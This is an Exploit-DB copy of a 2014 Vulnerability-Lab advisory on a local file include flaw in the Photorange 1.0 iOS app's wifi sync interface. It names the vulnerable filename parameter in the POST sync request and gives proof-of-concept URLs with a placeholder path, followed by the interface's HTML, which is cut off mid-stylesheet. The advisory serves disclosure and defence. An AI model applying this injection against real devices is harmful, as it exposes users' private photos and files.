Exploit-DB #34626
Description: Photorange 1.0 iOS - Local File Inclusion
Type: webapps
Platform: ios
Date: 2014-09-11
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Photorange v1.0 iOS - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1318


Release Date:
=============
2014-09-07


Vulnerability Laboratory ID (VL-ID):
====================================
1318


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
The BEST and MOST Convenient Private Photo & Video & Docs App! Photorange provides a secure Password System to keep your 
secret files 100% private. Your files are ONLY stored on your device and we can never touch them. 

( Copy of the Vendor Homepage: https://itunes.apple.com/en/app/photorange-schutz-privat-foto/id896041290 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory discovered a local file include web vulnerability in the official Photorange v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-09-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Jiajun Kuang
Product: Photorange - iOS Mobile Web Application 1.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official Photorange v1.0 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or 
system specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `add file` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `sync` device POST method request to compromise the mobile web-application. The local file/path include 
execution occcurs in the file dir index web interface through the download path next to the vulnerable name/path value. The attacker is able 
to inject the local file request by usage of the available `wifi interface` for file exchange via sync.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute 
different local malicious attack requests. The attack vector is on the application-side of the wifi service and the request method to 
inject is POST via Sync. 

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.3. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low 
user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected 
device component compromise.


Request Method(s):
				[+] [Sync] [POST]

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (Web Interface - http://localhost:9900/ )


Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Exploit
http://localhost:9900/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT
http://localhost:9900/Download/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT



PoC: Web Interface - Index Dir Listing

<html><head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>WiFi web access</title>
        </head>​​​​​<body><fontbase family="Arial,Verdana">
        <style type="text/css">
            a, div{
                font-family: Arial,Verdana;
            }
            body {
                background-color: silver;
                position: relative;
                height: 100%;
            }
            hr {
                height: 1px;
                border: none;
                border-top: 1px solid #DDDDDD;
            }
            #content {
                background-color: white;
                border-style: dashed;
                border-color: silver;
                border-width: 1px;
                position: absolute;
                width: 98%;
                left: 10px;
                top: 10px;
                z-index: 333;
            }
            .aImg {
                margin-left: 10px;
                margin-right: 10px;
                margin-top: 20px;
                border:none;
            }
            /*.aFod {
                color: GrayText;
                text-decoration: none;
                width: 50px;
                height: 50px;
            }*/
            #progress-bar-background {
                width: 100%;
                height: 100%;
                /*background:silver url('/Web/left.ico') no-repeat;*/
                background: silver;
                position: absolute; 
                top:0; 
                pointer-events:none;
                cursor: pointer;
            }
            #file-uploader-text {
                width: 155px; 
                height: 30px; 
                text-align: center; 
                line-height: 30px; 
                cursor: pointer;
            }
            #file-uploader {
                width: 155px; 
                height: 30px;
                left: 18px;
                position: absolute; 
                top: 0; 
                opacity: 0;
                filter: alpha(opacity=0);
                cursor: pointer;